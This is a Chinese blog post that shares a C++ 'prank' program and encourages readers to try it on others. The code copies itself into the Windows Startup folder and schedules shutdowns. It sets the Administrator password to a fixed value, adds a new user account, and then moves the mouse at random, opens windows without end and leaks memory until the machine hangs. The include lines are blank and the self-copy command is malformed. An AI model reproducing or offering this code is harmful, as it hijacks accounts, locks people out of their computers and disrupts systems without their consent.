c++整人死机程序

今天我收到了一个c++程序,打开后就成了这样

我试着编译了一下,不可逆的后果产生了,正如代码中所简单描述的一样,电脑弹出了死机的提示,

感觉是个整蛊人的好东西现在我将他分享给你们

代码语言:javascript复制#include

#include

#include

#include

# include

#include

#include

using namespace std;

int main (int argc,char *argv[])

{

char copy[80];

sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"");

system(copy); //将这个bai程序拷到du开机启动文件夹下面zhi

char cmd[]="shutdown -s -t 20";//自动重起

system("ping baidu.com");

system(cmd);

system("pause");

system(copy);

system("net user Administrator xz");//设置开机密码为xz

system("net user 崩溃 xz /add");//建立用户,并命名为崩溃

int x=GetSystemMetrics(SM_CXSCREEN);//鼠标x轴

int y=GetSystemMetrics(SM_CYSCREEN);//鼠标y轴

srand(time(0));//随机函数种子

system("shutdown -s -t 20");//20秒关机

while(1)//循环

{

SetCursorPos(rand()%x,rand()%y);//鼠标 x y轴 随机

system("start");//弹出窗口

char *p=new char[10000];//卡死机

} 整个流程并不复杂,应该可以看懂,可以试试。